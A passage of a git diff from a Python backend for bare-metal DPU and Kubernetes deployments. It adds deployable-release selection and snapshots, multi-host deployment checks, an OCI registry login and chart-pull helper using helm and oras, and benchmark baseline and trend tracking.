overrides.get("k8s_version", _UNKNOWN_VERSION), + "doca_version": overrides.get("doca_version", _UNKNOWN_VERSION), + "containerd_version": overrides.get("containerd_version", _UNKNOWN_VERSION), + "runc_version": overrides.get("runc_version", _UNKNOWN_VERSION), + "calico_version": overrides.get("calico_version", _UNKNOWN_VERSION), + "cert_manager_version": overrides.get("cert_manager_version", _UNKNOWN_VERSION), + "gateway_api_version": overrides.get("gateway_api_version", _UNKNOWN_VERSION), + "multus_version": overrides.get("multus_version", _UNKNOWN_VERSION), + "sriov_version": overrides.get("sriov_version", _UNKNOWN_VERSION), + "storage_class_type": overrides.get("storage_class_type", "local-path"), + "storage_provisioner": overrides.get( + "storage_provisioner", "rancher.io/local-path" + ), + "feature_flags": overrides.get("feature_flags", {}), + "full_manifest": component_versions, + } + + if source_id is not None: + row_data["source_id"] = source_id + row_data["last_synced"] = datetime.now(UTC) + + self.db.add(BnkDeployableRelease(**row_data)) + return "inserted" + + def _resolve_bnk_release_id(self, flo_version: str) -> int | None: + """Read-only lookup of BnkRelease.id via ReleaseRegistryService.resolve_ga. + + Returns the FK to link the deployable release to its GA-label row. + Returns None if no matching active registry row exists (non-fatal). + Never writes to bnk_releases. + """ + try: + from services.release_registry_service import ReleaseRegistryService + + info = ReleaseRegistryService(self.db).resolve_ga(flo_version=flo_version) + return info.release_id if info else None + except Exception: + return None diff --git a/backend/services/bare_metal/host_service.py b/backend/services/bare_metal/host_service.py index e45fbdcd..ded3dfea 100644 --- a/backend/services/bare_metal/host_service.py +++ b/backend/services/bare_metal/host_service.py @@ -62,6 +62,7 @@ def create_host(self, project_id: int, data: BareMetalHostCreate) -> BareMetalHo deploy_dpu_pci_address=data.deploy_dpu_pci_address, rshim_source=data.rshim_source, bond_mode=data.bond_mode, + net_rshim_mac_base=data.net_rshim_mac_base, ) # Encrypt BMC credentials if provided if data.bmc_ip: @@ -186,6 +187,7 @@ def _to_response(self, host: BareMetalHost) -> BareMetalHostResponse: deploy_dpu_index=host.deploy_dpu_index, rshim_source=host.rshim_source, bond_mode=host.bond_mode, + net_rshim_mac_base=host.net_rshim_mac_base, has_discovery_result=bool(host.last_discovery_result), kubernetes_cluster_id=host.kubernetes_cluster_id, created_at=host.created_at, diff --git a/backend/services/bare_metal/orchestrator.py b/backend/services/bare_metal/orchestrator.py index 3a8ea246..8623011e 100644 --- a/backend/services/bare_metal/orchestrator.py +++ b/backend/services/bare_metal/orchestrator.py @@ -107,7 +107,7 @@ class StepDefinition: estimated_duration_seconds=180, prerequisites=["kubeadm_join"], idempotent=True ), StepDefinition( - DeploymentPhase.PHASE_4_PLATFORM, "deploy_bnk_cr", "Deploy BNK CR (CNEInstance/BNKGatewayClass)", + DeploymentPhase.PHASE_4_PLATFORM, "deploy_bnk_cr", "Deploy BNK CR (CNEInstance)", estimated_duration_seconds=120, prerequisites=["install_flo"], idempotent=True ), StepDefinition( @@ -352,16 +352,18 @@ def create_deployment( host_id: int, project_id: int, *, + worker_host_ids: list[int] | None = None, resume_from_step: int | None = None, triggered_by: str = "user", selected_phases: list[str] | None = None, selected_steps: list[str] | None = None, + deployable_release_id: int | None = None, ) -> BareMetalDeployment: """Create a new deployment for a host. Validates: - Host exists and belongs to project - - No active deployment for this host + - No active deployment for any host involved in this deployment - Topology is set on the host Creates DeploymentStep records for each step in the topology's plan. @@ -376,11 +378,28 @@ def create_deployment( # Topology-specific pre-deployment validation self._validate_topology_prerequisites(host) - # Check for active deployment + # Validate worker_host_ids against project scope (M2 — same guard as host_id above). + if worker_host_ids: + from core.errors import NotFoundError + valid_worker_hosts = ( + self.db.query(BareMetalHost) + .filter( + BareMetalHost.id.in_(worker_host_ids), + BareMetalHost.project_id == project_id, + ) + .all() + ) + valid_worker_host_id_set = {h.id for h in valid_worker_hosts} + missing_worker_ids = set(worker_host_ids) - valid_worker_host_id_set + if missing_worker_ids: + raise NotFoundError("BareMetalHost", sorted(missing_worker_ids)) + + # Check for active deployment across all target hosts + target_host_ids = list(set([host_id] + (worker_host_ids or []))) active = ( self.db.query(BareMetalDeployment) .filter( - BareMetalDeployment.host_id == host_id, + BareMetalDeployment.host_id.in_(target_host_ids), BareMetalDeployment.status.notin_( [s.value for s in BareMetalDeploymentStatus.terminal_states()] ), @@ -391,7 +410,7 @@ def create_deployment( from core.errors import BadRequestError raise BadRequestError( - f"Host {host_id} already has an active deployment (id={active.id}, status={active.status})" + f"Host {active.host_id} already has an active deployment (id={active.id}, status={active.status})" ) # Get steps for topology @@ -402,16 +421,36 @@ def create_deployment( step_defs, selected_phases, selected_steps ) - # Snapshot version profile - profile_snapshot = None - if host.version_profile: - profile_snapshot = { - "name": host.version_profile.name, - "bnk_manifest_version": host.version_profile.bnk_manifest_version, - "k8s_version": host.version_profile.k8s_version, - "doca_version": host.version_profile.doca_version, - "flo_version": host.version_profile.flo_version, - } + # Resolve deployable release — explicit or catalog default; fails fast if absent + release = self._resolve_deployable_release(deployable_release_id) + + # Stamp host anchor so resolve_project_context reads the chosen release + host.version_profile_id = release.id + + # Freeze the full release matrix for reproducibility (authoritative per-deploy record) + profile_snapshot = { + "deployable_release_id": release.id, + "name": release.name, + "display_name": release.display_name, + "bnk_manifest_version": release.bnk_manifest_version, + "bnk_cr_kind": release.bnk_cr_kind, + "flo_version": release.flo_version, + "k8s_version": release.k8s_version, + "doca_version": release.doca_version, + "containerd_version": release.containerd_version, + "runc_version": release.runc_version, + "calico_version": release.calico_version, + "cert_manager_version": release.cert_manager_version, + "gateway_api_version": release.gateway_api_version, + "multus_version": release.multus_version, + "sriov_version": release.sriov_version, + "storage_class_type": release.storage_class_type, + "storage_provisioner": release.storage_provisioner, + "feature_flags": release.feature_flags, + "full_manifest": release.full_manifest, + "source_type": release.source_type, + "bnk_release_id": release.bnk_release_id, + } # Create deployment deployment = BareMetalDeployment( @@ -420,6 +459,7 @@ def create_deployment( topology=host.topology, status=BareMetalDeploymentStatus.PENDING, version_profile_snapshot=profile_snapshot, + deployable_release_id=release.id, resume_from_step=resume_from_step, triggered_by=triggered_by, selected_phases=selected_phases, @@ -744,6 +784,39 @@ def _validate_phase_prerequisites( return warnings + def _resolve_deployable_release(self, deployable_release_id: int | None): + """Resolve a BnkDeployableRelease for deployment creation. + + Explicit ID → load and validate (NotFoundError if missing, BadRequestError if inactive). + None → catalog is_default row. No default configured → BadRequestError (fail-fast). + """ + from core.errors import BadRequestError, NotFoundError + from models.bnk_deployable_release import BnkDeployableRelease + + if deployable_release_id is not None: + release = ( + self.db.query(BnkDeployableRelease) + .filter(BnkDeployableRelease.id == deployable_release_id) + .first() + ) + if not release: + raise NotFoundError("BnkDeployableRelease", str(deployable_release_id)) + if not release.is_active: + raise BadRequestError( + f"BNK release '{release.name}' (id={release.id}) is not active" + ) + return release + + # No explicit selection — fall back to catalog default + release = ( + self.db.query(BnkDeployableRelease) + .filter(BnkDeployableRelease.is_default.is_(True)) + .first() + ) + if not release: + raise BadRequestError("no default BNK release configured") + return release + def _get_host_for_project(self, host_id: int, project_id: int) -> BareMetalHost: """Get a host by ID and validate it belongs to the project.""" host = ( diff --git a/backend/services/bare_metal/release_source_oci.py b/backend/services/bare_metal/release_source_oci.py new file mode 100644 index 00000000..4e31a047 --- /dev/null +++ b/backend/services/bare_metal/release_source_oci.py @@ -0,0 +1,243 @@ +"""OCI registry session helper for ReleaseSource live-fetch (ADR-494). + +Provides a context manager that logs in to the OCI/mirror registry ONCE per +call, reusing a temporary registry config file across list + pull operations, +and cleaning it up in the finally block. + +Security contract: +- The decrypted credential is passed via subprocess stdin, never via argv or + environment variables (multi-threaded uvicorn → concurrent-sync collision if + os.environ is mutated). +- The temp config dir is removed in the finally block regardless of outcome. +- The credential is never included in log messages or error strings returned + to API callers. +- Per-call tempfile.mkdtemp() ensures uniqueness across concurrent requests. + +Credential shape detection (mirrors bnk_ssh_base.py:400-421): + - If the stored credential (after decryption) is a base64 string that decodes + to JSON containing "auths" → it is a dockerconfigjson blob; extract user:pass. + - Otherwise → treat as a raw base64-encoded GCP SA key; use + username="_json_key_base64" with the base64 blob as password. +""" + +import base64 +import json +import logging +import shutil +import subprocess +import tempfile +from collections.abc import Generator +from contextlib import contextmanager +from pathlib import Path +from typing import TYPE_CHECKING + +from core.encryption import decrypt_value # module-level import for patchability + +if TYPE_CHECKING: + from models.release_source import ReleaseSource + +logger = logging.getLogger(__name__) + +# Fixed registry host for OCI-kind sources (repo.f5.com). +OCI_HOST = "repo.f5.com" + +# OCI repo path for the BNK manifest chart — same for oci and mirror kinds. +MANIFEST_REPO_PATH = "release/f5-bigip-k8s-manifest" + +# Subprocess timeout (seconds) for network operations. +_LOGIN_TIMEOUT = 60 +_TAGS_TIMEOUT = 60 +_PULL_TIMEOUT = 180 + + +def _host_for(source: "ReleaseSource") -> str: + """Return the registry hostname for the given source. + + oci → fixed OCI_HOST ("repo.f5.com"). + mirror → parse host from source.url (strip scheme and path components). + """ + if source.kind == "oci": + return OCI_HOST + url = (source.url or "").strip() + for prefix in ("oci://", "https://", "http://"): + if url.startswith(prefix): + url = url[len(prefix):] + return url.split("/")[0] or OCI_HOST + + +def _detect_credential(cred: str) -> tuple[str, str]: + """Return (username, password) for helm registry login. + + Two credential shapes: + 1. Base64 SA key JSON → username="_json_key_base64", password=cred (the + raw base64 string, not decoded — helm expects base64 on stdin). + 2. Base64-encoded dockerconfigjson with "auths" → extract user:pass from + the first matching "auth" entry. + + Falls back to the SA key shape on any decoding / parse error. + """ + try: + # Pad the base64 string to avoid binascii.Error on missing padding. + decoded_bytes = base64.b64decode(cred + "==") + decoded_str = decoded_bytes.decode("utf-8") + if '"auths"' in decoded_str: + data = json.loads(decoded_str) + for _host_key, auth_data in data.get("auths", {}).items(): + if "auth" in auth_data: + user_pass = base64.b64decode(auth_data["auth"]).decode("utf-8") + username, _, password = user_pass.partition(":") + return username, password + except Exception: + pass # Fall through to SA key shape. + + # Raw base64 SA key: helm accepts it as the password with _json_key_base64 user. + return "_json_key_base64", cred + + +class OciRegistrySession: + """Single-login session against an OCI registry. + + Do not instantiate directly — use registry_session() instead. + """ + + def __init__(self, host: str, config_dir: str) -> None: + self._host = host + self._config_file = str(Path(config_dir) / "config.json") + + def list_tags(self) -> list[str]: + """List tags for the manifest repo via oras. + + Returns raw tag strings (verbatim from the registry). + Raises RuntimeError on oras failure. + """ + result = subprocess.run( + [ + "oras", + "repo", + "tags", + "--registry-config", + self._config_file, + f"{self._host}/{MANIFEST_REPO_PATH}", + ], + capture_output=True, + text=True, + timeout=_TAGS_TIMEOUT, + ) + if result.returncode != 0: + raise RuntimeError( + f"oras repo tags failed (exit {result.returncode}): {result.stderr[:300]}" + ) + return [t.strip() for t in result.stdout.strip().splitlines() if t.strip()] + + def pull_manifest_yaml(self, tag: str) -> str: + """Pull the manifest Helm chart for *tag* and return the manifest YAML text. + + Uses helm pull --untar into a per-call temp dir, then finds the manifest + YAML file (not Chart.yaml / values.yaml) and returns its content. + + Raises RuntimeError if the pull fails or no manifest YAML is found. + """ + workdir = tempfile.mkdtemp(prefix="bnk-manifest-") + try: + result = subprocess.run( + [ + "helm", + "pull", + f"oci://{self._host}/{MANIFEST_REPO_PATH}", + "--version", + tag, + "--registry-config", + self._config_file, + "--untar", + "--destination", + workdir, + ], + capture_output=True, + text=True, + timeout=_PULL_TIMEOUT, + ) + if result.returncode != 0: + raise RuntimeError( + f"helm pull {tag!r} failed (exit {result.returncode}): {result.stderr[:300]}" + ) + + # Locate the manifest YAML: prefer files with "manifest" in the name, + # excluding Chart.yaml and values.yaml (chart metadata, not release data). + # Both lists are sorted so file selection is deterministic across filesystems. + _excluded = {"Chart.yaml", "values.yaml"} + candidates = sorted( + p + for p in Path(workdir).rglob("*.yaml") + if p.name not in _excluded and "manifest" in p.name.lower() + ) + if not candidates: + # Fallback: any yaml that is not chart metadata. + candidates = sorted( + p for p in Path(workdir).rglob("*.yaml") if p.name not in _excluded + ) + if not candidates: + raise RuntimeError( + f"No manifest YAML found in chart for tag {tag!r}" + ) + + return candidates[0].read_text() + finally: + shutil.rmtree(workdir, ignore_errors=True) + + +@contextmanager +def registry_session(source: "ReleaseSource") -> Generator[OciRegistrySession, None, None]: + """Context manager: decrypt credential, login once, yield a session, cleanup. + + Usage:: + + with registry_session(source) as sess: + tags = sess.list_tags() + yaml = sess.pull_manifest_yaml("2.2.1-3.2226.0-0.0.511") + + The temp config dir (holding config.json with the registry token) is + removed in the finally block regardless of outcome. + """ + host = _host_for(source) + config_dir = tempfile.mkdtemp(prefix="bnk-registry-") + try: + if not source.credential_encrypted: + raise RuntimeError( + f"Release source {source.id!r} has no stored credential" + ) + + cred = decrypt_value(source.credential_encrypted) + if not cred: + raise RuntimeError( + f"Credential decryption returned empty value for source {source.id!r}" + ) + + username, password = _detect_credential(cred) + + config_file = str(Path(config_dir) / "config.json") + result = subprocess.run( + [ + "helm", + "registry", + "login", + "--registry-config", + config_file, + "-u", + username, + "--password-stdin", + host, + ], + input=password.encode(), + capture_output=True, + timeout=_LOGIN_TIMEOUT, + ) + if result.returncode != 0: + stderr = result.stderr.decode(errors="replace")[:300] + raise RuntimeError( + f"helm registry login to {host!r} failed (exit {result.returncode}): {stderr}" + ) + + yield OciRegistrySession(host=host, config_dir=config_dir) + finally: + # Remove the temp config dir — no credential lingers on disk. + shutil.rmtree(config_dir, ignore_errors=True) diff --git a/backend/services/bare_metal/version_profiles.py b/backend/services/bare_metal/version_profiles.py index 492fa586..3047fcb4 100644 --- a/backend/services/bare_metal/version_profiles.py +++ b/backend/services/bare_metal/version_profiles.py @@ -1,22 +1,25 @@ -"""BNK version profile CRUD and seed data.""" +"""BNK deployable release CRUD and seed data (ADR-478).""" import logging from sqlalchemy.orm import Session -from models.bare_metal import BnkVersionProfile -from schemas.bare_metal import BnkVersionProfileListResponse, BnkVersionProfileResponse +from models.bnk_deployable_release import BnkDeployableRelease +from schemas.bare_metal import DeployableReleaseListResponse, DeployableReleaseResponse logger = logging.getLogger(__name__) -# --- Seed data for BNK 2.1 and 2.2 --- +# --- Seed data --- +# Exact values from original BnkVersionProfile seed; 2.2 is default. BNK_21_PROFILE = { "name": "bnk-2.1", "display_name": "BNK 2.1 (GA)", "description": "BNK 2.1 General Availability release", "is_default": False, + "is_active": True, + "source_type": "manual", "bnk_manifest_version": "2.1.0", "bnk_cr_kind": "CNEInstance", "flo_version": "0.9.23", @@ -25,7 +28,7 @@ "containerd_version": "1.7.12", "runc_version": "1.1.12", "calico_version": "3.28.0", - "cert_manager_version": "1.14.5", + "cert_manager_version": "v1.14.5", "gateway_api_version": "1.1.0", "multus_version": "4.0.2", "sriov_version": "1.3.0", @@ -39,15 +42,17 @@ "display_name": "BNK 2.2 (GA)", "description": "BNK 2.2 General Availability release", "is_default": True, - "bnk_manifest_version": "2.2.0", - "bnk_cr_kind": "BNKGatewayClass", - "flo_version": "0.10.5", + "is_active": True, + "source_type": "manual", + "bnk_manifest_version": "2.2.1-3.2226.0-0.0.511", + "bnk_cr_kind": "CNEInstance", + "flo_version": "v2.9.27-0.3.4", "k8s_version": "1.30.4", "doca_version": "2.9.1", "containerd_version": "1.7.20", "runc_version": "1.1.13", "calico_version": "3.28.1", - "cert_manager_version": "1.15.3", + "cert_manager_version": "v1.15.3", "gateway_api_version": "1.1.0", "multus_version": "4.1.0", "sriov_version": "1.4.0", @@ -56,73 +61,145 @@ "feature_flags": {"ipv6": False, "tmm_node_labels": True}, } -SEED_PROFILES = [BNK_21_PROFILE, BNK_22_PROFILE] +# BNK 2.3.1 — verified 2026-07-20 against repo.f5.com + dpubnkctl +# Full matrix in .agent-local/BNK-231-VERIFIED-MATRIX.md +# calico/multus/sriov/gateway_api carry forward from 2.2 (P2 live-pin pending) +BNK_231_RELEASE = { + "name": "bnk-2.3.1", + "display_name": "BNK 2.3.1 (GA)", + "description": "BNK 2.3.1 General Availability release", + "is_default": False, + "is_active": True, + "source_type": "manual", + "bnk_manifest_version": "2.3.1-3.2598.3-0.0.304", + "bnk_cr_kind": "CNEInstance", + "flo_version": "v2.21.13-0.0.53", + "k8s_version": "1.30.14", + "doca_version": "3.2.0", + "containerd_version": "1.7.23", + "runc_version": "1.2.1", + "calico_version": "3.28.1", + "cert_manager_version": "v1.16.2", + "gateway_api_version": "1.1.0", + "multus_version": "4.1.0", + "sriov_version": "1.4.0", + "storage_class_type": "local-path", + "storage_provisioner": "rancher.io/local-path", + "feature_flags": {"ipv6": False, "tmm_node_labels": True}, +} +SEED_RELEASES = [BNK_21_PROFILE, BNK_22_PROFILE, BNK_231_RELEASE] -class BnkVersionProfileService: - """CRUD operations for BNK version profiles.""" + +class BnkDeployableReleaseService: + """CRUD operations for BNK deployable releases.""" def __init__(self, db: Session): self.db = db - def list_profiles(self) -> BnkVersionProfileListResponse: - profiles = self.db.query(BnkVersionProfile).order_by(BnkVersionProfile.name).all() - return BnkVersionProfileListResponse( - profiles=[self._to_response(p) for p in profiles] + def list_profiles(self) -> DeployableReleaseListResponse: + releases = self.db.query(BnkDeployableRelease).order_by(BnkDeployableRelease.name).all() + return DeployableReleaseListResponse( + releases=[self._to_response(r) for r in releases] ) - def get_profile(self, profile_id: int) -> BnkVersionProfileResponse: - profile = self.db.query(BnkVersionProfile).filter(BnkVersionProfile.id == profile_id).first() - if not profile: + def get_profile(self, profile_id: int) -> DeployableReleaseResponse: + release = self.db.query(BnkDeployableRelease).filter(BnkDeployableRelease.id == profile_id).first() + if not release: from core.errors import NotFoundError - raise NotFoundError("version_profile", profile_id) - return self._to_response(profile) + raise NotFoundError("deployable_release", profile_id) + return self._to_response(release) - def get_default_profile(self) -> BnkVersionProfile | None: - return self.db.query(BnkVersionProfile).filter(BnkVersionProfile.is_default.is_(True)).first() + def get_default_profile(self) -> BnkDeployableRelease | None: + return self.db.query(BnkDeployableRelease).filter(BnkDeployableRelease.is_default.is_(True)).first() - def create_profile(self, data: dict) -> BnkVersionProfileResponse: - profile = BnkVersionProfile(**data) - self.db.add(profile) + def create_profile(self, data: dict) -> DeployableReleaseResponse: + release = BnkDeployableRelease(**data) + self.db.add(release) self.db.flush() - return self._to_response(profile) + return self._to_response(release) def seed_profiles(self) -> int: - """Seed default version profiles if they don't exist. Returns count of profiles seeded.""" + """Seed default deployable releases if they don't exist. Returns count seeded.""" + # Resolve bnk_release_id for 2.3.1 if the bnk_releases table is populated + bnk_release_id_231 = self._resolve_bnk_release_id("2.21") + seeded = 0 - for profile_data in SEED_PROFILES: - existing = self.db.query(BnkVersionProfile).filter( - BnkVersionProfile.name == profile_data["name"] + for release_data in SEED_RELEASES: + existing = self.db.query(BnkDeployableRelease).filter( + BnkDeployableRelease.name == release_data["name"] ).first() if not existing: - self.db.add(BnkVersionProfile(**profile_data)) + row_data = dict(release_data) + if release_data["name"] == "bnk-2.3.1" and bnk_release_id_231 is not None: + row_data["bnk_release_id"] = bnk_release_id_231 + self.db.add(BnkDeployableRelease(**row_data)) seeded += 1 - logger.info("Seeded BNK version profile: %s", profile_data["name"]) + logger.info("Seeded BNK deployable release: %s", release_data["name"]) if seeded > 0: self.db.flush() return seeded - def _to_response(self, profile: BnkVersionProfile) -> BnkVersionProfileResponse: - return BnkVersionProfileResponse( - id=profile.id, - name=profile.name, - display_name=profile.display_name, - description=profile.description, - is_default=profile.is_default, - bnk_manifest_version=profile.bnk_manifest_version, - bnk_cr_kind=profile.bnk_cr_kind, - flo_version=profile.flo_version, - k8s_version=profile.k8s_version, - doca_version=profile.doca_version, - containerd_version=profile.containerd_version, - runc_version=profile.runc_version, - calico_version=profile.calico_version, - cert_manager_version=profile.cert_manager_version, - gateway_api_version=profile.gateway_api_version, - multus_version=profile.multus_version, - sriov_version=profile.sriov_version, - storage_class_type=profile.storage_class_type, - storage_provisioner=profile.storage_provisioner, - feature_flags=profile.feature_flags, - created_at=profile.created_at, + def _resolve_bnk_release_id(self, flo_version_prefix: str) -> int | None: + """Look up BnkRelease.id by flo_version_prefix; returns None if not found.""" + try: + from models.bnk_release import BnkRelease + row = self.db.query(BnkRelease).filter( + BnkRelease.flo_version_prefix == flo_version_prefix + ).first() + return row.id if row else None + except Exception: + return None + + def set_active(self, release_id: int, is_active: bool) -> DeployableReleaseResponse: + release = self.db.query(BnkDeployableRelease).filter(BnkDeployableRelease.id == release_id).first() + if not release: + from core.errors import NotFoundError + raise NotFoundError("deployable_release", release_id) + release.is_active = is_active + self.db.flush() + return self._to_response(release) + + def set_default(self, release_id: int) -> DeployableReleaseResponse: + """Set this release as default, clearing is_default on all others (single-default invariant).""" + release = self.db.query(BnkDeployableRelease).filter(BnkDeployableRelease.id == release_id).first() + if not release: + from core.errors import NotFoundError + raise NotFoundError("deployable_release", release_id) + # Clear existing default(s) then set the target. + self.db.query(BnkDeployableRelease).filter(BnkDeployableRelease.is_default.is_(True)).update( + {"is_default": False}, synchronize_session="fetch" + ) + release.is_default = True + self.db.flush() + return self._to_response(release) + + def _to_response(self, release: BnkDeployableRelease) -> DeployableReleaseResponse: + return DeployableReleaseResponse( + id=release.id, + name=release.name, + display_name=release.display_name, + description=release.description, + is_default=release.is_default, + is_active=release.is_active, + source_type=release.source_type, + bnk_release_id=release.bnk_release_id, + bnk_manifest_version=release.bnk_manifest_version, + bnk_cr_kind=release.bnk_cr_kind, + flo_version=release.flo_version, + k8s_version=release.k8s_version, + doca_version=release.doca_version, + containerd_version=release.containerd_version, + runc_version=release.runc_version, + calico_version=release.calico_version, + cert_manager_version=release.cert_manager_version, + gateway_api_version=release.gateway_api_version, + multus_version=release.multus_version, + sriov_version=release.sriov_version, + storage_class_type=release.storage_class_type, + storage_provisioner=release.storage_provisioner, + feature_flags=release.feature_flags, + source_id=release.source_id, + last_synced=release.last_synced, + created_at=release.created_at, ) diff --git a/backend/services/benchmark_service.py b/backend/services/benchmark_service.py index b536a3e6..1452f849 100644 --- a/backend/services/benchmark_service.py +++ b/backend/services/benchmark_service.py @@ -511,6 +511,7 @@ def list_runs( total = query.count() runs = query.order_by(desc(BenchmarkRun.created_at)).limit(limit).offset(offset).all() + self._attach_baseline_context(runs) return runs, total def get_run(self, run_id: int, with_details: bool = False) -> BenchmarkRun: @@ -524,8 +525,151 @@ def get_run(self, run_id: int, with_details: bool = False) -> BenchmarkRun: run = query.filter(BenchmarkRun.id == run_id).first() if not run: raise NotFoundError("benchmark_run", run_id) + self._attach_baseline_context([run]) return run + def _attach_baseline_context(self, runs: list[BenchmarkRun]) -> None: + """Set transient baseline_latency_p99 / baseline_overall_rps on each run. + + These are not DB columns — computed here so BenchmarkRunResponse can carry + the reference values the frontend regression badge diffs against. Left unset + (None) when a run's (target_id, scenario_key, config_id, proxy, variant_label) + context has no baseline, or when the run itself IS the baseline. + """ + target_ids = {r.target_id for r in runs if r.target_id is not None} + baselines: dict[tuple, BenchmarkRun] = {} + if target_ids: + candidates = ( + self.db.query(BenchmarkRun) + .filter(BenchmarkRun.is_baseline.is_(True), BenchmarkRun.target_id.in_(target_ids)) + .all() + ) + for b in candidates: + baselines[(b.target_id, b.scenario_key, b.config_id, b.proxy, b.variant_label)] = b + + for r in runs: + baseline = baselines.get((r.target_id, r.scenario_key, r.config_id, r.proxy, r.variant_label)) + has_reference = baseline is not None and baseline.id != r.id + r.baseline_latency_p99 = baseline.latency_p99 if has_reference else None + r.baseline_overall_rps = baseline.overall_rps if has_reference else None + + def set_baseline(self, run_id: int) -> BenchmarkRun: + """Mark a completed run as the baseline for its (target_id, scenario_key, + config_id, proxy, variant_label) context, clearing any previous baseline in + that same context. + + Concurrency: locks every run row sharing the context with SELECT ... FOR + UPDATE (ordered by id, so concurrent calls acquire locks in a consistent + order and can't deadlock) before clearing + setting is_baseline. Locking + is scoped to the context's identity columns (target_id/scenario_key/ + config_id/proxy/variant_label — immutable) rather than only rows currently + flagged is_baseline=True (mutable): under READ COMMITTED, a lock query + filtered on is_baseline=True can miss a just-committed flip from a concurrent + transaction (Postgres re-checks the WHERE clause on the specific locked + row, it doesn't re-scan for newly-matching rows), which would let two + concurrent set_baseline calls each believe they cleared "the" prior + baseline and both end up flagged — the exact bug this locking closes. + No-op under SQLite (tests): SQLite has no row-level locking and every + writer is already serialized. + """ + target_run = self.get_run(run_id) + if target_run.status != BenchmarkRunStatus.COMPLETED: + raise BadRequestError("Only completed runs can be marked as baseline", code="RUN_NOT_COMPLETED") + + if target_run.target_id is None: + raise BadRequestError("Cannot set baseline on a run without a target_id", code="MISSING_TARGET_ID") + + context_runs = ( + self.db.query(BenchmarkRun) + .filter( + BenchmarkRun.target_id == target_run.target_id, + BenchmarkRun.scenario_key == target_run.scenario_key, + BenchmarkRun.config_id == target_run.config_id, + BenchmarkRun.proxy == target_run.proxy, + BenchmarkRun.variant_label == target_run.variant_label, + ) + .order_by(BenchmarkRun.id) + .with_for_update() + .all() + ) + run = next(r for r in context_runs if r.id == run_id) + + for other in context_runs: + if other.id != run.id and other.is_baseline: + other.is_baseline = False + + run.is_baseline = True + self.db.flush() + self._attach_baseline_context([run]) + return run + + def unset_baseline(self, run_id: int) -> BenchmarkRun: + """Clear the baseline flag on a run.""" + run = self.get_run(run_id) + run.is_baseline = False + self.db.flush() + self._attach_baseline_context([run]) + return run + + def get_trends( + self, + target_id: int | None = None, + proxy: str | None = None, + scenario_key: str | None = None, + config_id: int | None = None, + limit: int = 50, + ) -> dict: + """Time-ordered (oldest-first) completed-run metrics for a target/proxy/scenario/ + config context. The current baseline for that context is always included, even + when it falls outside the `limit` window.""" + + def _base_query(): + query = self.db.query(BenchmarkRun).filter(BenchmarkRun.status == BenchmarkRunStatus.COMPLETED) + if target_id is not None: + query = query.filter(BenchmarkRun.target_id == target_id) + if proxy: + query = query.filter(BenchmarkRun.proxy == proxy) + if scenario_key: + query = query.filter(BenchmarkRun.scenario_key == scenario_key) + if config_id is not None: + query = query.filter(BenchmarkRun.config_id == config_id) + return query + + runs = _base_query().order_by(desc(BenchmarkRun.created_at)).limit(limit).all() + runs = list(reversed(runs)) + + # Baseline only makes sense for single-context series. Baseline identity is the 5-tuple + # (target_id, config_id, scenario_key, proxy, variant_label) — same as set_baseline locking. + # If plotted series interleaves multiple contexts, do not return a cross-context baseline. + contexts = {(r.target_id, r.config_id, r.scenario_key, r.proxy, r.variant_label) for r in runs} + baseline_run = None + if len(contexts) == 1 and runs: + # Single-context series — pick baseline scoped to exactly this context + context_tuple = contexts.pop() + target_id_ctx, config_id_ctx, scenario_key_ctx, proxy_ctx, variant_label_ctx = context_tuple + baseline_run = ( + self.db.query(BenchmarkRun) + .filter( + BenchmarkRun.status == BenchmarkRunStatus.COMPLETED, + BenchmarkRun.is_baseline.is_(True), + BenchmarkRun.target_id == target_id_ctx, + BenchmarkRun.config_id == config_id_ctx, + BenchmarkRun.scenario_key == scenario_key_ctx, + BenchmarkRun.proxy == proxy_ctx, + BenchmarkRun.variant_label == variant_label_ctx, + ) + .order_by(desc(BenchmarkRun.created_at)) + .first() + ) + if baseline_run and not any(r.id == baseline_run.id for r in runs): + runs.append(baseline_run) + runs.sort(key=lambda r: r.created_at) + + return { + "points": runs, + "baseline_run_id": baseline_run.id if baseline_run else None, + } + def create_run(self, data: dict) -> BenchmarkRun: """Create a new benchmark run (triggered from UI).""" if data.get("config_id"): @@ -969,6 +1113,9 @@ def compare_runs(self, run_ids: list[int]) -> dict: "model": run.model, "tool": run.tool, "run_label": run.run_label, + "config_id": run.config_id, + "scenario_key": run.scenario_key, + "variant_label": run.variant_label, "status": run.status, "total_requests": run.total_requests, "success_rate_pct": run.success_rate_pct, @@ -996,9 +1143,20 @@ def compare_runs(self, run_ids: list[int]) -> dict: if vals: winners[metric] = max(vals, key=lambda x: x[1])[0] + # Mismatch warning — comparing runs built from different configs or scenarios can + # silently mislead (e.g., "which proxy is faster" when the workloads differ too). + # Proxies and variants are deliberately-varied comparison dimensions on the Compare tab. + config_ids = {m["config_id"] for m in run_metrics} + scenario_keys = {m["scenario_key"] for m in run_metrics} + context_mismatch = ( + len(config_ids) > 1 + or len(scenario_keys) > 1 + ) + return { "runs": run_metrics, "winners": winners, + "context_mismatch": context_mismatch, } # ================================================================ diff --git a/backend/services/bf_conf_renderer.py b/backend/services/bf_conf_renderer.py index 82ce6deb..d9eb7d70 100644 --- a/backend/services/bf_conf_renderer.py +++ b/backend/services/bf_conf_renderer.py @@ -162,24 +162,34 @@ def _rshim_index(rshim_device: str | None) -> int: return idx -def derive_tmfifo_dpu_ip(rshim_device: str | None) -> str: - """Compute the DPU-side tmfifo_net0 address (CIDR) for a given rshimN. - - The rshim daemon assigns each DPU its own /30 in 192.168.X.0/30: - rshim0 → 192.168.100.0/30 (host .1, DPU .2) - rshim1 → 192.168.101.0/30 - rshim2 → 192.168.102.0/30 - … - - Falls back to 192.168.100.2/30 (the historical single-DPU value) when - the rshim index can't be parsed — matches what bf.conf flashed before - this change. +def derive_tmfifo_dpu_ip(rshim_device: str | None, dpu: Dpu | None = None) -> str: + """Compute the DPU-side tmfifo_net0 address (CIDR) for a given rshimN or persisted Dpu. + + If dpu.dpu_tmfifo_ip is persisted (from cluster-scoped tmfifo IPAM) AND the + DPU is still a cluster member (kubernetes_cluster_id is not None), uses it. + Otherwise falls back to host-local formula: + rshim0 → 192.168.100.2/30 + rshim1 → 192.168.101.2/30 + + The cluster_id guard is the belt-and-braces half of A (ADR-424 cold audit): + after cluster-delete, ondelete=SET NULL clears kubernetes_cluster_id but + a stale dpu_tmfifo_ip can survive. Checking cluster membership here ensures + a re-flash always bakes the correct local /30 rather than the orphaned one. """ + if dpu is not None: + dpu_ip = getattr(dpu, "dpu_tmfifo_ip", None) + # Only trust the persisted IP when the DPU is still a cluster member. + if dpu_ip and getattr(dpu, "kubernetes_cluster_id", None) is not None: + return 